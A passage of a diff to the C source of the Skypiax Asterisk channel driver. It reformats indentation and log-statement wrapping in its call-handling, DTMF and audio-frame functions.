- struct skypiax_pvt *p = NULL;
- char *name = data;
- int res = AST_DEVICE_INVALID;
+ struct skypiax_pvt *p = NULL;
+ char *name = data;
+ int res = AST_DEVICE_INVALID;
- if (!data) {
- ERRORA("Devicestate requested with no data\n", SKYPIAX_P_LOG);
- return res;
- }
+ if (!data) {
+ ERRORA("Devicestate requested with no data\n", SKYPIAX_P_LOG);
+ return res;
+ }
- /* lock the interfaces' list */
- LOKKA(&skypiax_iflock);
- /* make a pointer to the first interface in the interfaces list */
- p = skypiax_iflist;
- /* Search for the requested interface and verify if is unowned */
- while (p) {
- size_t length = strlen(p->name);
- /* is this the requested interface? */
- if (strncmp(name, p->name, length) == 0) {
- /* is this interface unowned? */
- if (!p->owner) {
- res = AST_DEVICE_NOT_INUSE;
- DEBUGA_PBX("Interface is NOT OWNED by a channel\n", SKYPIAX_P_LOG);
- } else {
- /* interface owned by a channel */
- res = AST_DEVICE_INUSE;
- DEBUGA_PBX("Interface is OWNED by a channel\n", SKYPIAX_P_LOG);
- }
+ /* lock the interfaces' list */
+ LOKKA(&skypiax_iflock);
+ /* make a pointer to the first interface in the interfaces list */
+ p = skypiax_iflist;
+ /* Search for the requested interface and verify if is unowned */
+ while (p) {
+ size_t length = strlen(p->name);
+ /* is this the requested interface? */
+ if (strncmp(name, p->name, length) == 0) {
+ /* is this interface unowned? */
+ if (!p->owner) {
+ res = AST_DEVICE_NOT_INUSE;
+ DEBUGA_PBX("Interface is NOT OWNED by a channel\n", SKYPIAX_P_LOG);
+ } else {
+ /* interface owned by a channel */
+ res = AST_DEVICE_INUSE;
+ DEBUGA_PBX("Interface is OWNED by a channel\n", SKYPIAX_P_LOG);
+ }
- /* we found the requested interface, bail out from the while loop */
- break;
- }
- /* not yet found, next please */
- p = p->next;
- }
- /* unlock the interfaces' list */
- UNLOCKA(&skypiax_iflock);
+ /* we found the requested interface, bail out from the while loop */
+ break;
+ }
+ /* not yet found, next please */
+ p = p->next;
+ }
+ /* unlock the interfaces' list */
+ UNLOCKA(&skypiax_iflock);
- if (res == AST_DEVICE_INVALID) {
- ERRORA("Checking device state for interface [%s] returning AST_DEVICE_INVALID\n",
- SKYPIAX_P_LOG, name);
- }
- return res;
+ if (res == AST_DEVICE_INVALID) {
+ ERRORA("Checking device state for interface [%s] returning AST_DEVICE_INVALID\n", SKYPIAX_P_LOG, name);
+ }
+ return res;
}
#ifndef ASTERISK_VERSION_1_4
@@ -265,129 +256,126 @@
int skypiax_indicate(struct ast_channel *c, int cond, const void *data, size_t datalen)
#endif
{
- struct skypiax_pvt *p = c->tech_pvt;
- int res = 0;
+ struct skypiax_pvt *p = c->tech_pvt;
+ int res = 0;
- NOTICA("Let's INDICATE %d\n", SKYPIAX_P_LOG, cond);
+ NOTICA("Let's INDICATE %d\n", SKYPIAX_P_LOG, cond);
- switch (cond) {
- case AST_CONTROL_BUSY:
- case AST_CONTROL_CONGESTION:
- case AST_CONTROL_RINGING:
- case -1:
- res = -1; /* Ask for inband indications */
- break;
- case AST_CONTROL_PROGRESS:
- case AST_CONTROL_PROCEEDING:
- case AST_CONTROL_VIDUPDATE:
- case AST_CONTROL_HOLD:
- case AST_CONTROL_UNHOLD:
+ switch (cond) {
+ case AST_CONTROL_BUSY:
+ case AST_CONTROL_CONGESTION:
+ case AST_CONTROL_RINGING:
+ case -1:
+ res = -1; /* Ask for inband indications */
+ break;
+ case AST_CONTROL_PROGRESS:
+ case AST_CONTROL_PROCEEDING:
+ case AST_CONTROL_VIDUPDATE:
+ case AST_CONTROL_HOLD:
+ case AST_CONTROL_UNHOLD:
#ifdef ASTERISK_VERSION_1_4
- case AST_CONTROL_SRCUPDATE:
+ case AST_CONTROL_SRCUPDATE:
#endif /* ASTERISK_VERSION_1_4 */
- break;
- default:
- WARNINGA("Don't know how to display condition %d on %s\n", SKYPIAX_P_LOG, cond,
- c->name);
- /* The core will play inband indications for us if appropriate */
- res = -1;
- }
+ break;
+ default:
+ WARNINGA("Don't know how to display condition %d on %s\n", SKYPIAX_P_LOG, cond, c->name);
+ /* The core will play inband indications for us if appropriate */
+ res = -1;
+ }
- return res;
+ return res;
}
/*! \brief PBX interface function -build skypiax pvt structure
* skypiax calls initiated by the PBX arrive here */
struct ast_channel *skypiax_request(const char *type, int format, void *data, int *cause)
{
- struct skypiax_pvt *p = NULL;
- struct ast_channel *tmp = NULL;
- char *name = data;
- int found = 0;
+ struct skypiax_pvt *p = NULL;
+ struct ast_channel *tmp = NULL;
+ char *name = data;
+ int found = 0;
- DEBUGA_PBX("Try to request type: %s, name: %s, cause: %d," " format: %d\n",
- SKYPIAX_P_LOG, type, name, *cause, format);
+ DEBUGA_PBX("Try to request type: %s, name: %s, cause: %d," " format: %d\n", SKYPIAX_P_LOG, type, name, *cause, format);
- if (!data) {
- ERRORA("Channel requested with no data\n", SKYPIAX_P_LOG);
- return NULL;
- }
+ if (!data) {
+ ERRORA("Channel requested with no data\n", SKYPIAX_P_LOG);
+ return NULL;
+ }
- char interface[256];
- int i;
- memset(interface, '\0', sizeof(interface));
+ char interface[256];
+ int i;
+ memset(interface, '\0', sizeof(interface));
- for (i = 0; i < sizeof(interface); i++) {
- if (name[i] == '/')
- break;
- interface[i] = name[i];
- }
- /* lock the interfaces' list */
- LOKKA(&skypiax_iflock);
- /* make a pointer to the first interface in the interfaces list */
- p = skypiax_iflist;
+ for (i = 0; i < sizeof(interface); i++) {
+ if (name[i] == '/')
+ break;
+ interface[i] = name[i];
+ }
+ /* lock the interfaces' list */
+ LOKKA(&skypiax_iflock);
+ /* make a pointer to the first interface in the interfaces list */
+ p = skypiax_iflist;
- if (strcmp("ANY", interface) == 0) {
- /* we've been asked for the "ANY" interface, let's find the first idle interface */
- DEBUGA_SKYPE("Finding one available skype interface\n", SKYPIAX_P_LOG);
- p = find_available_skypiax_interface();
- if (p) {
- found = 1;
+ if (strcmp("ANY", interface) == 0) {
+ /* we've been asked for the "ANY" interface, let's find the first idle interface */
+ DEBUGA_SKYPE("Finding one available skype interface\n", SKYPIAX_P_LOG);
+ p = find_available_skypiax_interface();
+ if (p) {
+ found = 1;
- /* create a new channel owning this interface */
- tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p->context);
- if (!tmp) {
- /* the channel was not created, probable memory allocation error */
- *cause = AST_CAUSE_SWITCH_CONGESTION;
- }
+ /* create a new channel owning this interface */
+ tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p->context);
+ if (!tmp) {
+ /* the channel was not created, probable memory allocation error */
+ *cause = AST_CAUSE_SWITCH_CONGESTION;
+ }
- }
+ }
- }
+ }
- /* Search for the requested interface and verify if is unowned and format compatible */
- while (p && !found) {
- //size_t length = strlen(p->name);
- /* is this the requested interface? */
- if (strcmp(interface, p->name) == 0) {
- /* is the requested format supported by this interface? */
- if ((format & AST_FORMAT_SLINEAR) != 0) {
- /* is this interface unowned? */
- if (!p->owner) {
- DEBUGA_PBX("Requesting: %s, name: %s, format: %d\n", SKYPIAX_P_LOG, type, name,
- format);
- /* create a new channel owning this interface */
- tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p->context);
- if (!tmp) {
- /* the channel was not created, probable memory allocation error */
- *cause = AST_CAUSE_SWITCH_CONGESTION;
- }
- } else {
- /* interface owned by another channel */
- WARNINGA("owned by another channel\n", SKYPIAX_P_LOG);
- *cause = AST_CAUSE_REQUESTED_CHAN_UNAVAIL;
- }
- } else {
- /* requested format not supported */
- WARNINGA("format %d not supported\n", SKYPIAX_P_LOG, format);
- *cause = AST_CAUSE_BEARERCAPABILITY_NOTAVAIL;
- }
- /* we found the requested interface, bail out from the while loop */
- break;
- }
- /* not yet found, next please */
- p = p->next;
- }
- /* unlock the interfaces' list */
- UNLOCKA(&skypiax_iflock);
- /* restart the monitor so it will watch only the remaining unowned interfaces */
- skypiax_restart_monitor();
- if (tmp == NULL) {
- /* new channel was not created */
- WARNINGA("Unable to create new Skypiax channel %s\n", SKYPIAX_P_LOG, name);
- }
- /* return the newly created channel */
- return tmp;
+ /* Search for the requested interface and verify if is unowned and format compatible */
+ while (p && !found) {
+ //size_t length = strlen(p->name);
+ /* is this the requested interface? */
+ if (strcmp(interface, p->name) == 0) {
+ /* is the requested format supported by this interface? */
+ if ((format & AST_FORMAT_SLINEAR) != 0) {
+ /* is this interface unowned? */
+ if (!p->owner) {
+ DEBUGA_PBX("Requesting: %s, name: %s, format: %d\n", SKYPIAX_P_LOG, type, name, format);
+ /* create a new channel owning this interface */
+ tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p->context);
+ if (!tmp) {
+ /* the channel was not created, probable memory allocation error */
+ *cause = AST_CAUSE_SWITCH_CONGESTION;
+ }
+ } else {
+ /* interface owned by another channel */
+ WARNINGA("owned by another channel\n", SKYPIAX_P_LOG);
+ *cause = AST_CAUSE_REQUESTED_CHAN_UNAVAIL;
+ }
+ } else {
+ /* requested format not supported */
+ WARNINGA("format %d not supported\n", SKYPIAX_P_LOG, format);
+ *cause = AST_CAUSE_BEARERCAPABILITY_NOTAVAIL;
+ }
+ /* we found the requested interface, bail out from the while loop */
+ break;
+ }
+ /* not yet found, next please */
+ p = p->next;
+ }
+ /* unlock the interfaces' list */
+ UNLOCKA(&skypiax_iflock);
+ /* restart the monitor so it will watch only the remaining unowned interfaces */
+ skypiax_restart_monitor();
+ if (tmp == NULL) {
+ /* new channel was not created */
+ WARNINGA("Unable to create new Skypiax channel %s\n", SKYPIAX_P_LOG, name);
+ }
+ /* return the newly created channel */
+ return tmp;
}
/*! \brief Hangup skypiax call
@@ -395,144 +383,142 @@
int skypiax_hangup(struct ast_channel *c)
{
- struct skypiax_pvt *p;
+ struct skypiax_pvt *p;
- /* get our skypiax pvt interface from channel */
- p = c->tech_pvt;
- /* if there is not skypiax pvt why we are here ? */
- if (!p) {
- ERRORA("Asked to hangup channel not connected\n", SKYPIAX_P_LOG);
- return 0;
- }
+ /* get our skypiax pvt interface from channel */
+ p = c->tech_pvt;
+ /* if there is not skypiax pvt why we are here ? */
+ if (!p) {
+ ERRORA("Asked to hangup channel not connected\n", SKYPIAX_P_LOG);
+ return 0;
+ }
- if (p->skype && p->interface_state != SKYPIAX_STATE_DOWN) {
- char msg_to_skype[1024];
- p->interface_state = SKYPIAX_STATE_HANGUP_REQUESTED;
- DEBUGA_SKYPE("hanging up skype call: %s\n", SKYPIAX_P_LOG, p->skype_call_id);
- //sprintf(msg_to_skype, "SET CALL %s STATUS FINISHED", p->skype_call_id);
- sprintf(msg_to_skype, "ALTER CALL %s HANGUP", p->skype_call_id);
- skypiax_signaling_write(p, msg_to_skype);
- }
+ if (p->skype && p->interface_state != SKYPIAX_STATE_DOWN) {
+ char msg_to_skype[1024];
+ p->interface_state = SKYPIAX_STATE_HANGUP_REQUESTED;
+ DEBUGA_SKYPE("hanging up skype call: %s\n", SKYPIAX_P_LOG, p->skype_call_id);
+ //sprintf(msg_to_skype, "SET CALL %s STATUS FINISHED", p->skype_call_id);
+ sprintf(msg_to_skype, "ALTER CALL %s HANGUP", p->skype_call_id);
+ skypiax_signaling_write(p, msg_to_skype);
+ }
- while (p->interface_state != SKYPIAX_STATE_DOWN) {
- usleep(10000);
- }
- DEBUGA_SKYPE("Now is really DOWN\n", SKYPIAX_P_LOG);
- /* shutdown the serial monitoring thread */
- if (p->controldev_thread && (p->controldev_thread != AST_PTHREADT_NULL)
- && (p->controldev_thread != AST_PTHREADT_STOP)) {
- if (pthread_cancel(p->controldev_thread)) {
- ERRORA("controldev_thread pthread_cancel failed, maybe he killed himself?\n",
- SKYPIAX_P_LOG);
- }
- /* push it, maybe is stuck in a select or so */
- if (pthread_kill(p->controldev_thread, SIGURG)) {
- DEBUGA_SERIAL("controldev_thread pthread_kill failed, no problem\n", SKYPIAX_P_LOG);
- }
-#ifndef __CYGWIN__ /* under cygwin, this seems to be not reliable, get stuck at times */
- /* wait for it to die */
- if (pthread_join(p->controldev_thread, NULL)) {
- ERRORA("controldev_thread pthread_join failed, BAD\n", SKYPIAX_P_LOG);
- }
+ while (p->interface_state != SKYPIAX_STATE_DOWN) {
+ usleep(10000);
+ }
+ DEBUGA_SKYPE("Now is really DOWN\n", SKYPIAX_P_LOG);
+ /* shutdown the serial monitoring thread */
+ if (p->controldev_thread && (p->controldev_thread != AST_PTHREADT_NULL)
+ && (p->controldev_thread != AST_PTHREADT_STOP)) {
+ if (pthread_cancel(p->controldev_thread)) {
+ ERRORA("controldev_thread pthread_cancel failed, maybe he killed himself?\n", SKYPIAX_P_LOG);
+ }
+ /* push it, maybe is stuck in a select or so */
+ if (pthread_kill(p->controldev_thread, SIGURG)) {
+ DEBUGA_SERIAL("controldev_thread pthread_kill failed, no problem\n", SKYPIAX_P_LOG);
+ }
+#ifndef __CYGWIN__ /* under cygwin, this seems to be not reliable, get stuck at times */
+ /* wait for it to die */
+ if (pthread_join(p->controldev_thread, NULL)) {
+ ERRORA("controldev_thread pthread_join failed, BAD\n", SKYPIAX_P_LOG);
+ }
#else /* __CYGWIN__ */
/* allow the serial thread to die */
- usleep(300000); //300msecs
+ usleep(300000); //300msecs
#endif /* __CYGWIN__ */
- }
- p->controldev_thread = AST_PTHREADT_NULL;
+ }
+ p->controldev_thread = AST_PTHREADT_NULL;
- p->interface_state = SKYPIAX_STATE_DOWN;
- p->skype_callflow = CALLFLOW_CALL_IDLE;
+ p->interface_state = SKYPIAX_STATE_DOWN;
+ p->skype_callflow = CALLFLOW_CALL_IDLE;
- DEBUGA_PBX("I'll send AST_CONTROL_HANGUP\n", SKYPIAX_P_LOG);
- ast_queue_control(p->owner, AST_CONTROL_HANGUP);
- DEBUGA_PBX("I've sent AST_CONTROL_HANGUP\n", SKYPIAX_P_LOG);
+ DEBUGA_PBX("I'll send AST_CONTROL_HANGUP\n", SKYPIAX_P_LOG);
+ ast_queue_control(p->owner, AST_CONTROL_HANGUP);
+ DEBUGA_PBX("I've sent AST_CONTROL_HANGUP\n", SKYPIAX_P_LOG);
- /* subtract one to the usage count of Skypiax-type channels */
- LOKKA(&skypiax_usecnt_lock);
- skypiax_usecnt--;
- if (skypiax_usecnt < 0)
- ERRORA("Usecnt < 0???\n", SKYPIAX_P_LOG);
- UNLOCKA(&skypiax_usecnt_lock);
- ast_update_use_count();
+ /* subtract one to the usage count of Skypiax-type channels */
+ LOKKA(&skypiax_usecnt_lock);
+ skypiax_usecnt--;
+ if (skypiax_usecnt < 0)
+ ERRORA("Usecnt < 0???\n", SKYPIAX_P_LOG);
+ UNLOCKA(&skypiax_usecnt_lock);
+ ast_update_use_count();
- /* our skypiax pvt interface is no more part of a channel */
- p->owner = NULL;
- /* our channel has no more this skypiax pvt interface to manage */
- c->tech_pvt = NULL;
- /* set the channel state to DOWN, eg. available, not in active use */
- if (ast_setstate(c, SKYPIAX_STATE_DOWN)) {
- ERRORA("ast_setstate failed, BAD\n", SKYPIAX_P_LOG);
- return -1;
- }
+ /* our skypiax pvt interface is no more part of a channel */
+ p->owner = NULL;
+ /* our channel has no more this skypiax pvt interface to manage */
+ c->tech_pvt = NULL;
+ /* set the channel state to DOWN, eg. available, not in active use */
+ if (ast_setstate(c, SKYPIAX_STATE_DOWN)) {
+ ERRORA("ast_setstate failed, BAD\n", SKYPIAX_P_LOG);
+ return -1;
+ }
- /* restart the monitor thread, so it can recheck which interfaces it have to watch during its loop (the interfaces that are not owned by channels) */
- if (skypiax_restart_monitor()) {
- ERRORA("skypiax_restart_monitor failed, BAD\n", SKYPIAX_P_LOG);
- return -1;
- }
+ /* restart the monitor thread, so it can recheck which interfaces it have to watch during its loop (the interfaces that are not owned by channels) */
+ if (skypiax_restart_monitor()) {
+ ERRORA("skypiax_restart_monitor failed, BAD\n", SKYPIAX_P_LOG);
+ return -1;
+ }
- return 0;
+ return 0;
}
/*! \brief Answer incoming call,
* Part of PBX interface */
int skypiax_answer(struct ast_channel *c)
{
- struct skypiax_pvt *p = c->tech_pvt;
- int res;
+ struct skypiax_pvt *p = c->tech_pvt;
+ int res;
- /* whle ringing, we just wait, the skype thread will answer */
- while (p->interface_state == SKYPIAX_STATE_RING) {
- usleep(10000); //10msec
- }
- if (p->interface_state != SKYPIAX_STATE_UP) {
- ERRORA("call answering failed, we want it to be into interface_state=%d, got %d\n",
- SKYPIAX_P_LOG, SKYPIAX_STATE_UP, p->interface_state);
- res = -1;
- } else {
- DEBUGA_PBX("call answered\n", SKYPIAX_P_LOG);
- res = 0;
- }
- return res;
+ /* whle ringing, we just wait, the skype thread will answer */
+ while (p->interface_state == SKYPIAX_STATE_RING) {
+ usleep(10000); //10msec
+ }
+ if (p->interface_state != SKYPIAX_STATE_UP) {
+ ERRORA("call answering failed, we want it to be into interface_state=%d, got %d\n", SKYPIAX_P_LOG, SKYPIAX_STATE_UP, p->interface_state);
+ res = -1;
+ } else {
+ DEBUGA_PBX("call answered\n", SKYPIAX_P_LOG);
+ res = 0;
+ }
+ return res;
}
#ifdef ASTERISK_VERSION_1_4
int skypiax_digitsend_begin(struct ast_channel *c, char digit)
{
- struct skypiax_pvt *p = c->tech_pvt;
+ struct skypiax_pvt *p = c->tech_pvt;
- DEBUGA_PBX("DIGIT BEGIN received: %c\n", SKYPIAX_P_LOG, digit);
+ DEBUGA_PBX("DIGIT BEGIN received: %c\n", SKYPIAX_P_LOG, digit);
- return 0;
+ return 0;
}
int skypiax_digitsend_end(struct ast_channel *c, char digit, unsigned int duration)
{
- struct skypiax_pvt *p = c->tech_pvt;
- char msg_to_skype[1024];
+ struct skypiax_pvt *p = c->tech_pvt;
+ char msg_to_skype[1024];
- NOTICA("DIGIT END received: %c %d\n", SKYPIAX_P_LOG, digit, duration);
+ NOTICA("DIGIT END received: %c %d\n", SKYPIAX_P_LOG, digit, duration);
- sprintf(msg_to_skype, "SET CALL %s DTMF %c", p->skype_call_id, digit);
+ sprintf(msg_to_skype, "SET CALL %s DTMF %c", p->skype_call_id, digit);
- skypiax_signaling_write(p, msg_to_skype);
+ skypiax_signaling_write(p, msg_to_skype);
- return 0;
+ return 0;
}
#else /* ASTERISK_VERSION_1_4 */
int skypiax_digitsend(struct ast_channel *c, char digit)
{
- struct skypiax_pvt *p = c->tech_pvt;
- char msg_to_skype[1024];
+ struct skypiax_pvt *p = c->tech_pvt;
+ char msg_to_skype[1024];
- NOTICA("DIGIT received: %c\n", SKYPIAX_P_LOG, digit);
+ NOTICA("DIGIT received: %c\n", SKYPIAX_P_LOG, digit);
- sprintf(msg_to_skype, "SET CALL %s DTMF %c", p->skype_call_id, digit);
+ sprintf(msg_to_skype, "SET CALL %s DTMF %c", p->skype_call_id, digit);
- skypiax_signaling_write(p, msg_to_skype);
+ skypiax_signaling_write(p, msg_to_skype);
- return 0;
+ return 0;
}
#endif /* ASTERISK_VERSION_1_4 */
@@ -541,62 +527,61 @@
/*! \brief Read audio frames from channel */
struct ast_frame *skypiax_read(struct ast_channel *c)
{
- struct skypiax_pvt *p = c->tech_pvt;
- static struct ast_frame f;
- static short __buf[SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2];
- short *buf;
- int samples;
+ struct skypiax_pvt *p = c->tech_pvt;
+ static struct ast_frame f;
+ static short __buf[SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2];
+ short *buf;
+ int samples;
/* if there are control frames queued to be sent by skypiax_queue_control, send it the first */
//TODO maybe better a real queue?
- if (p && p->owner && p->control_to_send) {
- ast_queue_control(p->owner, p->control_to_send);
- DEBUGA_PBX("Sent CONTROL FRAME %d\n", SKYPIAX_P_LOG, p->control_to_send);
- p->control_to_send = 0;
- }
+ if (p && p->owner && p->control_to_send) {
+ ast_queue_control(p->owner, p->control_to_send);
+ DEBUGA_PBX("Sent CONTROL FRAME %d\n", SKYPIAX_P_LOG, p->control_to_send);
+ p->control_to_send = 0;
+ }
- memset(__buf, '\0', (SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2));
+ memset(__buf, '\0', (SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2));
- buf = __buf + AST_FRIENDLY_OFFSET / 2;
+ buf = __buf + AST_FRIENDLY_OFFSET / 2;
- f.frametype = AST_FRAME_NULL;
- f.subclass = 0;
- f.samples = 0;
- f.datalen = 0;
- f.data = NULL;
- f.offset = 0;
- f.src = skypiax_type;
- f.mallocd = 0;
- f.delivery.tv_sec = 0;
- f.delivery.tv_usec = 0;
+ f.frametype = AST_FRAME_NULL;
+ f.subclass = 0;
+ f.samples = 0;
+ f.datalen = 0;
+ f.data = NULL;
+ f.offset = 0;
+ f.src = skypiax_type;
+ f.mallocd = 0;
+ f.delivery.tv_sec = 0;
+ f.delivery.tv_usec = 0;
/* if the call is not active (ie: answered), do not send audio frames, they would pile up in a lag queue */
- if (p->owner && p->owner->_state != SKYPIAX_STATE_UP) {
- return &f;
- }
+ if (p->owner && p->owner->_state != SKYPIAX_STATE_UP) {
+ return &f;
+ }
- if ((samples = read(p->audiopipe[0], buf, SAMPLES_PER_FRAME * sizeof(short))) != 320) {
- DEBUGA_SOUND("read=====> NOT GOOD samples=%d expected=%d\n", SKYPIAX_P_LOG, samples,
- SAMPLES_PER_FRAME * sizeof(short));
- usleep(100);
- //do nothing
- } else {
- //DEBUGA_SOUND("read=====> GOOD samples=%d\n", SKYPIAX_P_LOG, samples);
- /* A real frame */
- f.frametype = AST_FRAME_VOICE;
- f.subclass = AST_FORMAT_SLINEAR;
- f.samples = SKYPIAX_FRAME_SIZE;
- f.datalen = SKYPIAX_FRAME_SIZE * 2;
- f.data = buf;
- f.offset = AST_FRIENDLY_OFFSET;
- f.src = skypiax_type;
- f.mallocd = 0;
+ if ((samples = read(p->audiopipe[0], buf, SAMPLES_PER_FRAME * sizeof(short))) != 320) {
+ DEBUGA_SOUND("read=====> NOT GOOD samples=%d expected=%d\n", SKYPIAX_P_LOG, samples, SAMPLES_PER_FRAME * sizeof(short));
+ usleep(100);
+ //do nothing
+ } else {
+ //DEBUGA_SOUND("read=====> GOOD samples=%d\n", SKYPIAX_P_LOG, samples);
+ /* A real frame */
+ f.frametype = AST_FRAME_VOICE;
+ f.subclass = AST_FORMAT_SLINEAR;
+ f.samples = SKYPIAX_FRAME_SIZE;
+ f.datalen = SKYPIAX_FRAME_SIZE * 2;
+ f.data = buf;
+ f.offset = AST_FRIENDLY_OFFSET;
+ f.src = skypiax_type;
+ f.mallocd = 0;
- if (p->capture_boost)
- skypiax_sound_boost(&f, p->capture_boost);
- }
+ if (p->capture_boost)
+ skypiax_sound_boost(&f, p->capture_boost);
+ }
- return &f;
+ return &f;
}
/*! \brief Initiate skypiax call from PBX
@@ -604,210 +589,199 @@
*/
int skypiax_originate_call(struct ast_channel *c, char *idest, int timeout)
{
- struct skypiax_pvt *p = NULL;
- p = c->tech_pvt;
- char rdest[80], *where, dstr[100] = "";
- char *stringp = NULL;
- int status;
+ struct skypiax_pvt *p = NULL;
+ p = c->tech_pvt;
+ char rdest[80], *where, dstr[100] = "";
+ char *stringp = NULL;
+ int status;
- if ((c->_state != SKYPIAX_STATE_DOWN)
- && (c->_state != SKYPIAX_STATE_RESERVED)) {
- ERRORA("skypiax_originate_call called on %s, neither down nor reserved\n",
- SKYPIAX_P_LOG, c->name);
- return -1;
- }
+ if ((c->_state != SKYPIAX_STATE_DOWN)
+ && (c->_state != SKYPIAX_STATE_RESERVED)) {
+ ERRORA("skypiax_originate_call called on %s, neither down nor reserved\n", SKYPIAX_P_LOG, c->name);
+ return -1;
+ }
- DEBUGA_PBX("skypiax_originate_call to call idest: %s, timeout: %d!\n", SKYPIAX_P_LOG,
- idest, timeout);
+ DEBUGA_PBX("skypiax_originate_call to call idest: %s, timeout: %d!\n", SKYPIAX_P_LOG, idest, timeout);
- strncpy(rdest, idest, sizeof(rdest) - 1);
- stringp = rdest;
- strsep(&stringp, "/");
- where = strsep(&stringp, "/");
- if (!where) {
- ERRORA("Destination %s requires an actual destination (Skypiax/device/destination)\n",
- SKYPIAX_P_LOG, idest);
- return -1;
- }
+ strncpy(rdest, idest, sizeof(rdest) - 1);
+ stringp = rdest;
+ strsep(&stringp, "/");
+ where = strsep(&stringp, "/");
+ if (!where) {
+ ERRORA("Destination %s requires an actual destination (Skypiax/device/destination)\n", SKYPIAX_P_LOG, idest);
+ return -1;
+ }
- strncpy(dstr, where + p->stripmsd, sizeof(dstr) - 1);
- DEBUGA_PBX("skypiax_originate_call dialing idest: %s, timeout: %d, dstr: %s!\n",
- SKYPIAX_P_LOG, idest, timeout, dstr);
+ strncpy(dstr, where + p->stripmsd, sizeof(dstr) - 1);
+ DEBUGA_PBX("skypiax_originate_call dialing idest: %s, timeout: %d, dstr: %s!\n", SKYPIAX_P_LOG, idest, timeout, dstr);
- strcpy(p->session_uuid_str, "dialing");
- status = skypiax_call(p, dstr, timeout);
- if (status) {
- WARNINGA("skypiax_originate_call dialing failed: %d!\n", SKYPIAX_P_LOG, status);
- return -1;
- }
+ strcpy(p->session_uuid_str, "dialing");
+ status = skypiax_call(p, dstr, timeout);
+ if (status) {
+ WARNINGA("skypiax_originate_call dialing failed: %d!\n", SKYPIAX_P_LOG, status);
+ return -1;
+ }
- DEBUGA_PBX("skypiax_originate_call dialed idest: %s, timeout: %d, dstr: %s!\n",
- SKYPIAX_P_LOG, idest, timeout, dstr);
+ DEBUGA_PBX("skypiax_originate_call dialed idest: %s, timeout: %d, dstr: %s!\n", SKYPIAX_P_LOG, idest, timeout, dstr);
- ast_setstate(p->owner, SKYPIAX_STATE_DIALING);
- return 0;
+ ast_setstate(p->owner, SKYPIAX_STATE_DIALING);
+ return 0;
}
int skypiax_sound_boost(struct ast_frame *f, double boost)
{
/* LUIGI RIZZO's magic */
- if (boost != 0) { /* scale and clip values */
- int i, x;
- int16_t *ptr = (int16_t *) f->data;
- for (i = 0; i < f->samples; i++) {
- x = (ptr[i] * boost) / BOOST_SCALE;
- if (x > 32767) {
- x = 32767;
- } else if (x < -32768) {
- x = -32768;
- }
- ptr[i] = x;
- }
- }
- return 0;
+ if (boost != 0) { /* scale and clip values */
+ int i, x;
+ int16_t *ptr = (int16_t *) f->data;
+ for (i = 0; i < f->samples; i++) {
+ x = (ptr[i] * boost) / BOOST_SCALE;
+ if (x > 32767) {
+ x = 32767;
+ } else if (x < -32768) {
+ x = -32768;
+ }
+ ptr[i] = x;
+ }
+ }
+ return 0;
}
/*! \brief Send audio frame to channel */
int skypiax_write(struct ast_channel *c, struct ast_frame *f)
{
- struct skypiax_pvt *p = c->tech_pvt;
- int sent;
+ struct skypiax_pvt *p = c->tech_pvt;
+ int sent;
- if (p->owner && p->owner->_state != SKYPIAX_STATE_UP) {
- return 0;
- }
- if (p->playback_boost)
- skypiax_sound_boost(f, p->playback_boost);
+ if (p->owner && p->owner->_state != SKYPIAX_STATE_UP) {
+ return 0;
+ }
+ if (p->playback_boost)
+ skypiax_sound_boost(f, p->playback_boost);
- sent = write(p->audioskypepipe[1], (short *) f->data, f->datalen);
- //skypiax_sound_write(p, f);
+ sent = write(p->audioskypepipe[1], (short *) f->data, f->datalen);
+ //skypiax_sound_write(p, f);
- return 0;
+ return 0;
}
/*! \brief Fix up a channel: If a channel is consumed, this is called.
* Basically update any ->owner links */
int skypiax_fixup(struct ast_channel *oldchan, struct ast_channel *newchan)
{
- struct skypiax_pvt *p = newchan->tech_pvt;
+ struct skypiax_pvt *p = newchan->tech_pvt;
- if (!p) {
- ERRORA("No pvt after masquerade. Strange things may happen\n", SKYPIAX_P_LOG);
- return -1;
- }
+ if (!p) {
+ ERRORA("No pvt after masquerade. Strange things may happen\n", SKYPIAX_P_LOG);
+ return -1;
+ }
- if (p->owner != oldchan) {
- ERRORA("old channel wasn't %p but was %p\n", SKYPIAX_P_LOG, oldchan, p->owner);
- return -1;
- }
+ if (p->owner != oldchan) {
+ ERRORA("old channel wasn't %p but was %p\n", SKYPIAX_P_LOG, oldchan, p->owner);
+ return -1;
+ }
- p->owner = newchan;
- return 0;
+ p->owner = newchan;
+ return 0;
}
struct ast_channel *skypiax_new(struct skypiax_pvt *p, int state, char *context)
{
- struct ast_channel *tmp;
+ struct ast_channel *tmp;
- /* alloc a generic channel struct */
+ /* alloc a generic channel struct */
#ifndef ASTERISK_VERSION_1_4
- tmp = ast_channel_alloc(1);
+ tmp = ast_channel_alloc(1);
#else
- //tmp = ast_channel_alloc(1, state, 0, 0, "", p->exten, p->context, 0, "");
- //tmp = ast_channel_alloc(1, state, i->cid_num, i->cid_name, i->accountcode, i->exten, i->context, i->amaflags, "Skypiax/%s", p->name);
- tmp =
- ast_channel_alloc(1, state, 0, 0, "", p->exten, p->context, 0, "Skypiax/%s", p->name);
+ //tmp = ast_channel_alloc(1, state, 0, 0, "", p->exten, p->context, 0, "");
+ //tmp = ast_channel_alloc(1, state, i->cid_num, i->cid_name, i->accountcode, i->exten, i->context, i->amaflags, "Skypiax/%s", p->name);
+ tmp = ast_channel_alloc(1, state, 0, 0, "", p->exten, p->context, 0, "Skypiax/%s", p->name);
#endif /* ASTERISK_VERSION_1_4 */
- if (tmp) {
+ if (tmp) {
- /* give a name to the newly created channel */
+ /* give a name to the newly created channel */
#ifndef ASTERISK_VERSION_1_4
- snprintf(tmp->name, sizeof(tmp->name), "Skypiax/%s", p->name);
- tmp->type = skypiax_type;
+ snprintf(tmp->name, sizeof(tmp->name), "Skypiax/%s", p->name);
+ tmp->type = skypiax_type;
#else /* ASTERISK_VERSION_1_4 */
- ast_string_field_build(tmp, name, "Skypiax/%s", p->name);
+ ast_string_field_build(tmp, name, "Skypiax/%s", p->name);
#endif /* ASTERISK_VERSION_1_4 */
- DEBUGA_PBX("new channel: name=%s requested_state=%d\n", SKYPIAX_P_LOG, tmp->name,
- state);
